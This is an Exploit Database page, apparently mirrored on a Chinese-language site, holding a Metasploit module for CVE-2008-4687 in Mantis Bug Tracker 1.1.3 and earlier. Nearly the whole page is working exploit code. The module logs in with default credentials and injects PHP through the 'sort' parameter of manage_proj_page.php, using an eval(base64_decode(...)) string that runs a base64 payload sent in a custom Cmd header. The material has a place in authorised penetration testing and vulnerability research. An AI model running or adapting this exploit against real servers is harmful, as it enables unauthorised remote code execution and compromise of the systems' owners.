Mantis Bug Tracker 1.1.3 – ‘manage_proj_page’ PHP Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-05-10
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44611/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Mantis manage_proj_page PHP Code Execution',
  'Description'=> %q{
  Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote
  Code Execution vulnerability in the sort parameter of the
  manage_proj_page.php page.
  },
  'Author' => [
  'EgiX', # Exploit-DB Entry Author
  'Lars Sorenson' # MSF module author
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['EDB', '6768'],
  ['CVE', '2008-4687'],
  ],
   'Privileged' => false,
   'Platform' => ['php'],
   'Arch' => ARCH_PHP,
   'Targets' =>
  [
  [ 'Mantis <= 1.1.3', { } ],
  ],
  'DisclosureDate' => 'Oct 16, 2008',
  'DefaultTarget' => 0))
   register_options(
  [
  OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
  OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
  OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
  ])
  end
  
  def check
  vprint_status('Checking Mantis version ...')
  res = send_request_cgi({
  'uri'=> normalize_uri(target_uri.path, 'login_page.php'),
  'method' => 'GET'
  })
  
  unless res
  vprint_error('Connection to host failed!')
  return CheckCode::Unknown
  end
  
  unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/
  vprint_error('Cannot determine Mantis version!')
  return CheckCode::Unknown
  end
  
  version = Gem::Version.new(Regexp.last_match[1])
  
  vprint_status("Mantis version #{version} detected")
  
  if res.code == 200 && version <= Gem::Version.new('1.1.3')
  return CheckCode::Appears
  end
  
  CheckCode::Safe
  end
  
  def login
  vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, 'login_page.php'),
  })
  unless res
  fail_with(Failure::Unreachable, 'Cannot access host to log in!')
  end
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'login.php'),
  'method'=> 'POST',
  'vars_post' => {
  'username': datastore['username'],
  'password': datastore['password'],
  },
  'cookie'=> "PHPSESSID=#{res.get_cookies}"
  })
  unless res
  fail_with(Failure::Unknown, 'Cannot access host to log in!')
  end
  
  fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302
  fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')
  
  store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
  res.get_cookies
  end
  
  def exploit
  fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears
  
  cookie = login
  vprint_status('Sending payload ...')
  payload_b64 = Rex::Text.encode_base64(payload.encoded)
  data = {
  'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#",
  }
  send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),
  'method'=> 'POST',
  'vars_post' => data,
  'headers' => {
  'Connection': 'close',
  'Cookie': cookie.to_s,
  'Cmd': payload_b64
  }
  })
  end
  end